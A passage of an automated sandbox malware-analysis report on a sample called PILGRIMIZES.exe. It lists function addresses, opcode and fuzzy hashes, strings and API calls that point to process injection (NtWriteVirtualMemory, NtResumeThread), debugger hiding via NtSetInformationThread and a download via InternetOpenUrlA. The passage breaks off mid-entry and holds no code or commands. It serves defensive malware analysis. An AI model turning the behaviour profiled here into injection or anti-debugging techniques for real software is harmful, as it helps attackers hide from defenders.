Opcode ID: 582bfd598ad97da59a2dcbf8727e55e6489b0e9a8a930503a9a234a621d526e6
Instruction ID: 77088f58a6da056e57449472be636781622b902df4d60e9a1d4bab6a6509b837
Opcode Fuzzy Hash: 582bfd598ad97da59a2dcbf8727e55e6489b0e9a8a930503a9a234a621d526e6
Instruction Fuzzy Hash: C9313B756C0300DAFF055F608945B9AF7A2AF1BB74FA00165EE1E2B1DAD3609503D735

Uniqueness

Uniqueness Score: -1.00%

Function 021D906E, Relevance: 2.6, APIs: 1, Instructions: 1141nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL ref: 021D9762

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 04ad66eaab63b8aa0fe79994ebc80e1e28f5089b1f48b50d9b5e8ad04d77471a
Instruction ID: 7a86dda978a733f747a4da5360ac9396c084549ff9357c7691c2f3b35b063dce
Opcode Fuzzy Hash: 04ad66eaab63b8aa0fe79994ebc80e1e28f5089b1f48b50d9b5e8ad04d77471a
Instruction Fuzzy Hash: 9852705F190140C69E810F946689FEAF77AA907A30BE017F7C23E0A8FBD758024756B6

Uniqueness

Uniqueness Score: -1.00%

Function 021D32BD, Relevance: 1.9, APIs: 1, Instructions: 419COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbf00c7610de0f05eddeb6fc8c99a161b38a0882ed0f752d1a21296289f15116
Instruction ID: d1dcdf76e185e9914b369f54c3ba1f176d826f5246a7e0b29b946efc08cef6ed
Opcode Fuzzy Hash: bbf00c7610de0f05eddeb6fc8c99a161b38a0882ed0f752d1a21296289f15116
Instruction Fuzzy Hash: E9D12876280144EFEF511F10DD85BEAB726FF02730F9043A5E6791A0E5C7B854869F62

Uniqueness

Uniqueness Score: -1.00%

Function 021D3447, Relevance: 1.9, APIs: 1, Instructions: 368COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09866bc2e2635fbd87cc7f682fde58e4964fbe55f57ca3d4c7d2365a9c7cb377
Instruction ID: ab570d98bede1b68156e1b596ab7f8bda052f674c8280eb5ae9be751850f7735
Opcode Fuzzy Hash: 09866bc2e2635fbd87cc7f682fde58e4964fbe55f57ca3d4c7d2365a9c7cb377
Instruction Fuzzy Hash: 71B12976180144DFEF521F50DC85BEABB26BF02730FA043A5D67A1A4E6C7AC55828F62

Uniqueness

Uniqueness Score: -1.00%

Function 021D8BF1, Relevance: 1.8, APIs: 1, Instructions: 337nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,021D868B,00000040,021D0A1D,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 021D8BD7

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 77577c6859206ce0f5d9e914d97140b646debcf90c738708d983ab5d9850c08e
Instruction ID: fc00e477b9d9f8922fd593922da20300962e4ed81c99de4d85cff7eaf7a809bf
Opcode Fuzzy Hash: 77577c6859206ce0f5d9e914d97140b646debcf90c738708d983ab5d9850c08e
Instruction Fuzzy Hash: 2F71356A196548CFDB450B54A985FE6B77EEE036307A20BE7C23A8E4F7D34805439372

Uniqueness

Uniqueness Score: -1.00%

Function 021D3645, Relevance: 1.8, APIs: 1, Instructions: 312nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 021D399D

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: b7494858e0db2c898c1360c60e76d2270a6d5d33d68447b08d17188ab5fb1089
Instruction ID: 09e1f79e15ea4c12011c68dc858a601ccbc390094e49624f2fe2382bff55db76
Opcode Fuzzy Hash: b7494858e0db2c898c1360c60e76d2270a6d5d33d68447b08d17188ab5fb1089
Instruction Fuzzy Hash: 4D91D47E180140DAEF511F509D85BEAB726AF02730FE003E6D63A4D5E6C3A806875EA6

Uniqueness

Uniqueness Score: -1.00%

Function 021D3807, Relevance: 1.8, APIs: 1, Instructions: 270nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 021D399D

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 23256ff1bf22022f9176b68cbf1785b6d8ea4ac966f0dab8381495664a1a7aeb
Instruction ID: aa4d50cc3abd05b7ea362cafd62e60d63a99b0d0cfc39063ae4268e3a33b4b05
Opcode Fuzzy Hash: 23256ff1bf22022f9176b68cbf1785b6d8ea4ac966f0dab8381495664a1a7aeb
Instruction Fuzzy Hash: 3F71927B0D0150CADB451F54A985BDAB776BF07630FA007F6D23A1A4E7C3A805879E63

Uniqueness

Uniqueness Score: -1.00%

Function 021D8511, Relevance: 1.8, APIs: 1, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: 626bd06504e8647a810d55e1546fc5724fbd2f02994c629e497a187d1d976711
Instruction ID: a66fe5528ae7b663395dec4f3ae7600c52e1dff827e38a61a29cc031a6a139af
Opcode Fuzzy Hash: 626bd06504e8647a810d55e1546fc5724fbd2f02994c629e497a187d1d976711
Instruction Fuzzy Hash: 3791DA70984341DFDB25DF38C4D8B69BBA1AF56324F56C2A9D5A68F2D6C3348443CB22

Uniqueness

Uniqueness Score: -1.00%

Function 021D9779, Relevance: 1.7, APIs: 1, Instructions: 204nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL ref: 021D9762

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 2a25310ea3ce3adefabd0a7305b437a31575bd42e59a036e4a199c2bc06912f5
Instruction ID: 4bb1075abc24bf76ae9fe6801723d49ccb3cf80d4255f1741a554896deb96238
Opcode Fuzzy Hash: 2a25310ea3ce3adefabd0a7305b437a31575bd42e59a036e4a199c2bc06912f5
Instruction Fuzzy Hash: 8F51945F1C0540C69A851FA46685FAAF766AD07E307E00BF7C23E1E8FBD35802475AB2

Uniqueness

Uniqueness Score: -1.00%

Function 021D3568, Relevance: 1.7, APIs: 1, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ef05106888bce20c49d128d5450f9ef0daec24570a061bf38bf199399bb51e7
Instruction ID: be66da71dd25501e62bb99b0710b9ba4e8e2bcdde961191ceae4619eeba0e0ce
Opcode Fuzzy Hash: 0ef05106888bce20c49d128d5450f9ef0daec24570a061bf38bf199399bb51e7
Instruction Fuzzy Hash: E261F6B1280249EFFF255F10CC95BE97A66FF04304F544128FA959B2D0C7B9A894CF85

Uniqueness

Uniqueness Score: -1.00%

Function 021D939B, Relevance: 1.7, APIs: 1, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4761e8797ae00c8bd5a44c9733044ff0bdf116abd29be0ee4e74e833e9adb110
Instruction ID: a3676ecde54e97f521712f131a27841c22e92c946b317acfc74c425d1bc819a3
Opcode Fuzzy Hash: 4761e8797ae00c8bd5a44c9733044ff0bdf116abd29be0ee4e74e833e9adb110
Instruction Fuzzy Hash: B351922A2D0550DADF555F258586BEEB620EF05B30FC457E6C33A0B8EAD728518283E6

Uniqueness

Uniqueness Score: -1.00%

Function 021D95B3, Relevance: 1.7, APIs: 1, Instructions: 163nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL ref: 021D9762

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 1148efaf1652a74ff9cc6d1dd981a8ec13e92bb249a609ce98c478557b541195
Instruction ID: a014c65276c2b153472326bac77783e0de46ffd679c93b3a5ffdb288f4d53917
Opcode Fuzzy Hash: 1148efaf1652a74ff9cc6d1dd981a8ec13e92bb249a609ce98c478557b541195
Instruction Fuzzy Hash: 5A51A52E2D0540CADF855F249485BEDB720AF15B30FC417E7C33A4A8FAD729419287E6

Uniqueness

Uniqueness Score: -1.00%

Function 021D8FBC, Relevance: 1.6, APIs: 1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fa08d7a4c5d936aaa09be6b8704d9de450380d166febcc1dcd4c4ed984e5570
Instruction ID: 5dd4bd09a4e487b331719c1807dc84bf20bf0d591c94d82b770361de5b927c64
Opcode Fuzzy Hash: 5fa08d7a4c5d936aaa09be6b8704d9de450380d166febcc1dcd4c4ed984e5570
Instruction Fuzzy Hash: EC316C317C4609CFEF299E34C9443E977A2EF427A4F594279C9568B1E1D338C489CB41

Uniqueness

Uniqueness Score: -1.00%

Function 021D8BBB, Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,021D868B,00000040,021D0A1D,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 021D8BD7

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: e321634b5848cb9033a4850ee334c4796eaa3c0b8d5c91ad4aee0868860d2ee2
Instruction ID: 99a9d8d00dcc117a606ac92e411db70f0a20e9638b8254fcc77bd410a86e3b5b
Opcode Fuzzy Hash: e321634b5848cb9033a4850ee334c4796eaa3c0b8d5c91ad4aee0868860d2ee2
Instruction Fuzzy Hash: 72C012E82240002E68048E28CD48D2BB2AA86D8A28B10C32CB872B22CCCA30EC058132

Uniqueness

Uniqueness Score: -1.00%

Function 021D4AF0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

0={,, xrefs: 021D4C7F

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: 0={,
API String ID: 1029625771-63937952
Opcode ID: b6af6dea2e9d6c62171ed5cb7795d41b51f0c24359ae90e12da191cb7ad093fe
Instruction ID: 46a1d30bd8ca7ac4188d02f4dd7c9f78f8377851f1b3d76a4b42834f0cfb09e3
Opcode Fuzzy Hash: b6af6dea2e9d6c62171ed5cb7795d41b51f0c24359ae90e12da191cb7ad093fe
Instruction Fuzzy Hash: BD514FB474025ADFCB16EF6488907DEB763AF98350F208219EC568738CDB359842DF61

Uniqueness

Uniqueness Score: -1.00%

Function 021D65CF, Relevance: 2.8, APIs: 1, Instructions: 1296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2d00ed734ee6088ed2c24c59a5cc0bdfecbb7a30fef554e87d75214fa813c3f
Instruction ID: a9b6409cea96c5097fc41e5ad62541326232946536c18be7fbeaa6f903b6c0bb
Opcode Fuzzy Hash: a2d00ed734ee6088ed2c24c59a5cc0bdfecbb7a30fef554e87d75214fa813c3f
Instruction Fuzzy Hash: 3B62805F190190CA4E451F947689EAAF77EAD03A307E017F6C23E1D8FBD758028366B6

Uniqueness

Uniqueness Score: -1.00%

Function 021D7128, Relevance: 1.8, APIs: 1, Instructions: 291libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,021D09F0,00000000,?,021D7E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 021D71A2

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0ec60d22c36dd94fd26205db41b59c1851ba0cbd5e46b16e2d053f735c4594c4
Instruction ID: 2f15ed97ee12098c7d20bcccc22472c469c97101bf8fcb75df981f57360907d2
Opcode Fuzzy Hash: 0ec60d22c36dd94fd26205db41b59c1851ba0cbd5e46b16e2d053f735c4594c4
Instruction Fuzzy Hash: EA81392B1D0280CBCF411F646585BEEF776BE13730BA007AAD63A1A4EBD75446839771

Uniqueness

Uniqueness Score: -1.00%

Function 021D6FE8, Relevance: 1.7, APIs: 1, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680908327f4bf39f765f0976c73c171d18486c4f2dba39b1c2e0cbbd856d2626
Instruction ID: be45d02f0dbd6b3def8a76970cd2598b54a4d19ce97f9c7a9aaa910a90abde79
Opcode Fuzzy Hash: 680908327f4bf39f765f0976c73c171d18486c4f2dba39b1c2e0cbbd856d2626
Instruction Fuzzy Hash: 0B51D55F1E0240CA8E411F5466D5FEAF73AAE07A31BF017B6C23B098EBD75801876672

Uniqueness

Uniqueness Score: -1.00%

Function 021D6DD6, Relevance: 1.6, APIs: 1, Instructions: 61libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,021D09F0,00000000,?,021D7E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 021D71A2

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6e7d9f4afb9f1af29199cfc7b6617783c319e872d5f68f83d7532026dd10e86e
Instruction ID: c70e19246925f585c2aba1d1e0bf91fbacd8af63ebba0264f685a78fc7480bc4
Opcode Fuzzy Hash: 6e7d9f4afb9f1af29199cfc7b6617783c319e872d5f68f83d7532026dd10e86e
Instruction Fuzzy Hash: DB114C645802C6EDDF357B24DC107FEB6696F01760F908758BC65550CDD7688883CA21

Uniqueness

Uniqueness Score: -1.00%

Function 021D4270, Relevance: 1.5, APIs: 1, Instructions: 38libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,021D09F0,00000000,?,021D7E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 021D71A2

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a5fd03eec5aabe1148c076d7e567975f0c958e9a620e9a1ddc566a7297f132eb
Instruction ID: 7ba054b9bc5873a523590fb45a471b2ffc9c61be0878e15b92e0fc67e32334e0
Opcode Fuzzy Hash: a5fd03eec5aabe1148c076d7e567975f0c958e9a620e9a1ddc566a7297f132eb
Instruction Fuzzy Hash: 3DF0A7941C0296FDCE143E644A447FEA12A5F10BB0F714524BCA6911CC9B5888839961

Uniqueness

Uniqueness Score: -1.00%

Function 021D7101, Relevance: 1.5, APIs: 1, Instructions: 33libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,021D09F0,00000000,?,021D7E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 021D71A2

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8f04b48bfe671e58d376fef62f7cb276023cdad5ac24f270fa41593810f1a310
Instruction ID: cef92c422f1d7c57862d8708e8f65c0ec16d6f6fe62795bd75986e24d05e1457
Opcode Fuzzy Hash: 8f04b48bfe671e58d376fef62f7cb276023cdad5ac24f270fa41593810f1a310
Instruction Fuzzy Hash: 68E092841C0396FDDA143B745E08BFEF1299F10BA1F618928BDA6911CC9B6888878A61

Uniqueness

Uniqueness Score: -1.00%

Function 021D1CAD, Relevance: 1.5, APIs: 1, Instructions: 13registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNELBASE(?,021D569C,00000000,00000001,?,?,?,?), ref: 021D1CC5

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 6bdaa0cb3b82f272adecba2e703140a4a5913630ed58f08d4c1b5e06e130ca02
Instruction ID: 8f660a77e21b62eb49146cf4b2c81caf96f49fc6198a51736284ef36cf7e8a82
Opcode Fuzzy Hash: 6bdaa0cb3b82f272adecba2e703140a4a5913630ed58f08d4c1b5e06e130ca02
Instruction Fuzzy Hash: C7C012B01103066AFB222A298CA9F97AA1EAF10301F400012F90AA5080CBA1CC608260

Uniqueness

Uniqueness Score: -1.00%

Function 021D68EA, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00000200,021D1E43,?,?,?,?), ref: 021D6B0A

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 3cfeb0ef513feec24dad9b4eddeff3556cef96765e3047861338f42b2a7d3efb
Instruction ID: a53478ee27117e8b49eaa8e5336445638c545189608e9f76db4bdaf93946ee60
Opcode Fuzzy Hash: 3cfeb0ef513feec24dad9b4eddeff3556cef96765e3047861338f42b2a7d3efb
Instruction Fuzzy Hash: C8C01230288340EAE31C8A10CD85F2B76ACAB40300F02A404B89682006C730EC04C620

Uniqueness

Uniqueness Score: -1.00%

Function 021D4281, Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,021D4154,021D42A3,021D0A41,?,021D7E3E,F21FD920), ref: 021D4295

Memory Dump Source

Source File: 00000008.00000002.422071426.00000000021D0000.00000040.00000001.sdmp, Offset: 021D0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e2f8b3fc84afe77b2e44bd9eac774263979335adf19bdf2e5a41aedaa8eff26f
Instruction ID: 90778f157ef074656d7de284b4bab831f576b04e2021a8a1eff49e75729f027a
Opcode Fuzzy Hash: e2f8b3fc84afe77b2e44bd9eac774263979335adf19bdf2e5a41aedaa8eff26f
Instruction Fuzzy Hash: A4C092717E0300B6FA348A208D57F8A62159B90F00F30840877093C0C085F1B610C62C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: PILGRIMIZES.exe PID: 7140 Parent PID: 6776 PILGRIMIZES.exeCOMMON

Executed Functions

Function 00560949, Relevance: 14.6, APIs: 2, Strings: 6, Instructions: 575COMMON

Download Yara Rule

Strings

user32, xrefs: 005653D4
1.!T, xrefs: 00560A20
TEMP=, xrefs: 00565402
6, xrefs: 00560A3C
ntdll, xrefs: 005653E0
kernel32, xrefs: 00565355

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID: 1.!T$TEMP=$kernel32$ntdll$user32$6
API String ID: 0-1535988826
Opcode ID: 056068e0199762cd18f3817823360b3b0426fc02bf4a9b1eb23fb8b580b2446e
Instruction ID: 84efbfc09cef954b0a25c7bc3abc8aa7dd955f4e5fdf03e2d3b65990d24b45d6
Opcode Fuzzy Hash: 056068e0199762cd18f3817823360b3b0426fc02bf4a9b1eb23fb8b580b2446e
Instruction Fuzzy Hash: 57F1F71A290B0046DE011B64555ABEEFF25BE23B32FD017A7D33A0F5F7E5540283A76A

Uniqueness

Uniqueness Score: -1.00%

Function 00564779, Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310networklibrarynativeCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00567E3E,F21FD920), ref: 00560A3A
InternetOpenA.WININET(005651CB,00000000,00000000,00000000,00000000), ref: 00564783
InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00564900
LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,005609F0,00000000,?,00567E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 005671A2

Strings

1.!T, xrefs: 00560A20
6, xrefs: 00560A3C
kernel32, xrefs: 00565355

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen$InformationLibraryLoadThread
String ID: 1.!T$kernel32$6
API String ID: 349944081-3815127790
Opcode ID: 5c970a5c72e38d89be012d46235f5d3959fb51e3cd1ea2a37ee331e5b202d403
Instruction ID: d226bd64b5902113b8e0c9b9e1fa730252e9393e2c55d35b82101651d165a356
Opcode Fuzzy Hash: 5c970a5c72e38d89be012d46235f5d3959fb51e3cd1ea2a37ee331e5b202d403
Instruction Fuzzy Hash: DFA115282807459ADF201F24CC56BEE7F14BF10770FD04726EB395B5E1E6348581D76A

Uniqueness

Uniqueness Score: -1.00%

Function 005621CE, Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 493COMMON

Download Yara Rule

Strings

1.!T, xrefs: 00560A20
6, xrefs: 00560A3C
kernel32, xrefs: 00565355

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID: 1.!T$kernel32$6
API String ID: 1029625771-3815127790
Opcode ID: 1dd7bc51058ca2a643fed87f8b67d48c071d693c464c3f289197d697ace64f33
Instruction ID: 571759523dfd167d10d16dc783042c1b139fcb4bb172b8bfea769596f7f31250
Opcode Fuzzy Hash: 1dd7bc51058ca2a643fed87f8b67d48c071d693c464c3f289197d697ace64f33
Instruction Fuzzy Hash: 97F12734740B029BDB149F28CC95BE9BF64FF14730F944329E968576E2DB34A881CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00562EB1, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 203COMMON

Download Yara Rule

Strings

1.!T, xrefs: 00560A20
6, xrefs: 00560A3C
kernel32, xrefs: 00565355

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID: 1.!T$kernel32$6
API String ID: 0-3815127790
Opcode ID: e6cb2d2a6321a3622f6a5863f9a28e66a1ea55b399208a008a47f4c33d2e3b25
Instruction ID: d965a66415931db20f6aa99c08aef991d12b8fafc8f7540865549e8ddcc64daa
Opcode Fuzzy Hash: e6cb2d2a6321a3622f6a5863f9a28e66a1ea55b399208a008a47f4c33d2e3b25
Instruction Fuzzy Hash: 0D51A129290B0046DF451F248856BEEBF11BF21B70FD01766EB391B6F6F6648682C35E

Uniqueness

Uniqueness Score: -1.00%

Function 005609D6, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 186nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00567101: LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,005609F0,00000000,?,00567E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 005671A2

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00567E3E,F21FD920), ref: 00560A3A

Strings

1.!T, xrefs: 00560A20
6, xrefs: 00560A3C
kernel32, xrefs: 00565355

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T$kernel32$6
API String ID: 543350213-3815127790
Opcode ID: d13d68edab8ed4cb04431359cb3a9bc98df9bd99a92c45319a31085148ee8a6a
Instruction ID: ed05ffc2602f9901793251283c9b9df41cd3aa24225eeab7c5fbdbd3f8b821f2
Opcode Fuzzy Hash: d13d68edab8ed4cb04431359cb3a9bc98df9bd99a92c45319a31085148ee8a6a
Instruction Fuzzy Hash: 0451812C290B0046DE451F249856BDEBE10BF21B70FC01766EB391B6F6F6644682D36E

Uniqueness

Uniqueness Score: -1.00%

Function 005608E0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

1.!T, xrefs: 00560A20
6, xrefs: 00560A3C

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID: 1.!T$6
API String ID: 0-4198636089
Opcode ID: 582bfd598ad97da59a2dcbf8727e55e6489b0e9a8a930503a9a234a621d526e6
Instruction ID: 808cfa0d3d3e66b707026e96e9007a463d2b7b9b94b3af3ba92052f14a7d5eec
Opcode Fuzzy Hash: 582bfd598ad97da59a2dcbf8727e55e6489b0e9a8a930503a9a234a621d526e6
Instruction Fuzzy Hash: 3E31083528030596FF005F60894AB9BBFA3BF57B74FA0116AEE0A2B1D7D6609502D725

Uniqueness

Uniqueness Score: -1.00%

Function 0056906E, Relevance: 2.6, APIs: 1, Instructions: 1141nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 00569762

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 04ad66eaab63b8aa0fe79994ebc80e1e28f5089b1f48b50d9b5e8ad04d77471a
Instruction ID: b2f1c98abda4a16922adcc9060033c42eaec4b940d3e6d2f9d9f95bcdd5720e4
Opcode Fuzzy Hash: 04ad66eaab63b8aa0fe79994ebc80e1e28f5089b1f48b50d9b5e8ad04d77471a
Instruction Fuzzy Hash: A9527F1E120600869F410B54665DAA9FF6DBD13B31BE017BAC33B0B9F7D5740387A6AA

Uniqueness

Uniqueness Score: -1.00%

Function 00568BF1, Relevance: 1.8, APIs: 1, Instructions: 337nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,0056868B,00000040,00560A1D,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00568BD7

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 77577c6859206ce0f5d9e914d97140b646debcf90c738708d983ab5d9850c08e
Instruction ID: 07ae72dd47a4921ff745672a852adec9fca1c2a7fdec05f36d0ff9faa460de2a
Opcode Fuzzy Hash: 77577c6859206ce0f5d9e914d97140b646debcf90c738708d983ab5d9850c08e
Instruction Fuzzy Hash: 2671155A0656404FEB050754A959EBABF79FA137307E003BBC23A8F5F3D9940A43A336

Uniqueness

Uniqueness Score: -1.00%

Function 00568511, Relevance: 1.8, APIs: 1, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: 626bd06504e8647a810d55e1546fc5724fbd2f02994c629e497a187d1d976711
Instruction ID: 756cc746b1b2292ed732044d8f3a48830505cff8ab647c9e185d4b2ea2885978
Opcode Fuzzy Hash: 626bd06504e8647a810d55e1546fc5724fbd2f02994c629e497a187d1d976711
Instruction Fuzzy Hash: C491B8709043428FDB25DF28C4D4B75BFA1BF66324F548799D5968B2D6CB348882C722

Uniqueness

Uniqueness Score: -1.00%

Function 00562A2B, Relevance: 1.7, APIs: 1, Instructions: 480COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.438708197.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb1ba32e44fb8e7c6713f7a8909385c74303f99db77d92c133048e5774c71d67
